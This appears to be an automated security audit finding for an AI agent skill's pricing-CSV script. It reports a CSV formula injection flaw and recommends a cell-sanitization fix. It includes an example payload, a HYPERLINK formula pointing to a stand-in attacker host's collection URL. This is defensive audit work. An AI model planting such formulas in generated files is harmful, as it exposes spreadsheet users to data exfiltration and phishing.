T09 · Insecure Skill Coding Practices
- Location
scripts/generate_pricing_csv.py:339- Finding
CSV Formula Injection Through Untrusted Pricing Fields
- Content
View full analysis
Vulnerability Details
File Location:
scripts/generate_pricing_csv.py:123,scripts/generate_pricing_csv.py:339-353, andscripts/generate_pricing_csv.py:382-383
Vulnerability Type: CSV formula injection
Risk Level: MediumVulnerable Code
python name = item["name"]python rows.append( { "item_name": item.name, "service_code": item.service_code, "term_type": item.term_type, "region": args.region, "location": REGION_TO_LOCATION.get(args.region, ""), "quantity": f"{item.quantity}", "usage_unit": item.usage_unit or price_unit, "price_unit": price_unit, "price_per_unit_usd": f"{price}", "cost_usd": f"{cost}", "description": description, } )python for row in rows: writer.writerow(row)Technical Analysis
The script accepts fields such as
name,service_code, filter-derived values, and usage units from a user-provided YAML or JSON document. Thedescriptionfield can also originate from a user-selected bulk pricing JSON file.These values are passed directly to
csv.DictWriter.writerow()without neutralizing spreadsheet formula prefixes. CSV quoting only preserves field boundaries; it does not prevent spreadsheet applications from interpreting a cell beginning with=,+,-,@, a tab, or a carriage return as a formula.For example, an attacker-controlled item name could contain:
text =HYPERLINK("https://attacker.example/collect","Open pricing details")The resulting CSV remains syntactically valid, but a spreadsheet application may evaluate the value as a formula when a recipient opens the file. The same issue may be reached through a malicious locally supplied bulk JSON description.
Attack Path
- An attacker creates or modifies the pricing input YAML/JSON.
- The attacker places a spreadsheet formula in the `nam ...[truncated 1268 chars]
- Remediation
View remediation
Remediation Suggestions
-
Apply a centralized CSV-cell sanitization function to every textual field before passing rows to
csv.DictWriter:python def sanitize_csv_cell(value: object) -> str: text = "" if value is None else str(value) if text.startswith(("=", "+", "-", "@", "\t", "\r")): return "'" + text return text -
Sanitize the complete row rather than only
item_name, because other fields may originate from input files, command-line arguments, AWS responses, or user-selected bulk JSON:python safe_row = { key: sanitize_csv_cell(value) for key, value in row.items() } writer.writerow(safe_row) -
Apply the same protection to the header and total row if these values ever become configurable.
-
Validate input types and impose reasonable length limits on names, units, service codes, and descriptions.
-
Document that generated CSV files contain untrusted text and add regression tests covering all dangerous prefixes, including leading tab and carriage-return characters.
-
Where preservation of exact source text is required, consider exporting a non-executable format or generating an XLSX file whose relevant cells are explicitly typed as strings.
-
